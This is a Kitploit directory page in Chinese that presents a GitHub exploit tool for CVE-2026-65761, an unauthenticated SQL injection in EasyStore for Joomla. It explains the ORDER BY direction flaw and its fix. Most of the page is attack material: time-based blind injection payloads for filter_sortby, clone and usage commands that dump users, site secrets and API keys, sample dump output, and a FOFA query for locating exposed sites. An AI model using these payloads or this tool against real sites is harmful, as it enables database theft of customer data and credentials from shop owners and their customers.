Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL Injection via filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-65761
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubshinthink/cve-2026-65761

CVE-2026-65761

EasyStore Joomla Pre-Auth SQL Injection via filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

查看仓库
27天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-65761 — EasyStore Joomla 预认证SQL注入

filter_sortby 方向 → ORDER BY 注入 → 完全数据库读取


概述

CVE-2026-65761(CVSS 9.3 严重)是 JoomShaper 开发的 EasyStore for Joomla 中存在的一个无需认证的 SQL 注入漏洞,影响版本 ≤ 2.0.1。

产品列表参数 filter_sortby 会被拆分为列名和方向两部分。虽然列名通过白名单验证,但方向被直接拼接到 SQL 的 ORDER BY 子句中,未对 ASC/DESC 做任何限制——允许匿名访客执行任意 SQL 注入。

未经认证的攻击者可以读取整个 Joomla 数据库:用户账户、密码哈希、会话数据、站点密钥、API 密钥以及所有客户 PII(姓名、邮箱、地址、电话号码、购买历史)。


漏洞机制

根因

FilterHelper.php:741 返回排序方向时未进行 ASC/DESC 白名单检查:

root@kitploit:~
// 存在漏洞 (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ 无验证 — 仅大写后直接使用

ProductsModel.php:932 将方向直接拼接到 SQL 中:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ 原始 SQL 拼接

同属一个系列的品牌和集合列表已经具备正确的方向白名单,而产品列表却没有。

修复方法 (EasyStore 2.0.2)

root@kitploit:~
// 修复后 — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 白名单检查

// 修复后 — ProductsModel.php:918-920 (添加第二重验证)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

攻击流程

root@kitploit:~
1. 攻击者构造: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ 拆分为: column=price, direction=ASC,(SELECT SLEEP(5))

2. 列名 "price" 通过白名单验证 ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. 方向 "ASC,(SELECT SLEEP(5))" 通过 strtoupper()
   └─ 在受影响版本中无 ASC/DESC 验证

4. 构造 SQL:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ 时间盲注确认: 5秒延迟

5. 攻击者通过盲注提取整个数据库

前提条件

要求说明
EasyStore ≤ 2.0.1安装了受影响版本
可访问产品列表页面index.php?option=com_easystore&view=products
无需认证可匿名操作
MySQL/MariaDB通过 SLEEP() 进行时间盲注

安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# 无需依赖 — 仅需 Python 标准库

使用方法

root@kitploit:~
# 检查漏洞(非破坏性)
python3 cve_2026_65761.py --url https://target.com --check

# 导出 Joomla 用户(用户名、邮箱、姓名)
python3 cve_2026_65761.py --url https://target.com --dump-users

# 完全导出(用户 + 站点密钥 + EasyStore 配置 + API 密钥)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

输出示例

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla 预认证 SQLi 利用工具        |
+=================================================================+
  目标   :  https://shop.target.com
  插件   :  EasyStore ≤ 2.0.1 | 载荷: filter_sortby=col-ASC,INJECTION

[步骤 1] 验证 SQL 注入(时间盲注)
  [*] SLEEP(5) 延迟: 5.2s
  [+] SQLi 已确认 (5.2s)

[步骤 2] 数据库指纹
    [版本] 10.11.14-MariaDB
    [数据库] joomla_db
    [用户]    joomla_user@localhost
    [前缀]  jos_
  [+] 版本 : 10.11.14-MariaDB
  [+] 数据库: joomla_db
  [+] 用户    : joomla_user@localhost
  [+] 前缀  : jos_

[步骤 3] 导出用户
  [+] 用户数: 15

  用户名                   邮箱                              姓名
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                     超级管理员
  manager                   [email protected]                   商店管理员

[步骤 4] 导出敏感配置
    [密钥] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] 密钥: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

请求次数: 1847

技术细节

受影响代码路径

文件行号问题
site/src/Helper/FilterHelper.php741返回方向时未进行白名单检查 — 仅执行 strtoupper()

注入参数

root@kitploit:~
filter_sortby = <列名>-<方向>

有效列名(通过白名单):
  ordering, featured, best_selling, title, price, created

方向(无验证):
  经 strtoupper() 后直接注入
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((条件),SLEEP(2),0))

EasyStore 2.0.1 中的其他漏洞

CVE类型CVSS
CVE-2026-65759订单伪造/支付操纵8.7
CVE-2026-65760发票 IDOR(跨客户数据泄露)9.2
CVE-2026-65761SQL 注入(本利用)9.3

FOFA 搜索语法

root@kitploit:~
body="com_easystore" && body="filter_sortby"

参考链接

  • mySites.guru — 原始披露文章
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

免责声明

仅限授权安全测试和教育研究使用。作者不对滥用行为承担任何责任。

下载工具
CVECVE-2026-65761
CVSS9.3 严重
受影响EasyStore ≤ 2.0.1
修复版本EasyStore 2.0.2
类型SQL 注入 (CWE-89)
认证无需认证
发现者Phil Taylor (mySites.guru) — 2026年7月
site/src/Model/ProductsModel.php932将 $direction 直接拼接到 ORDER BY 子句中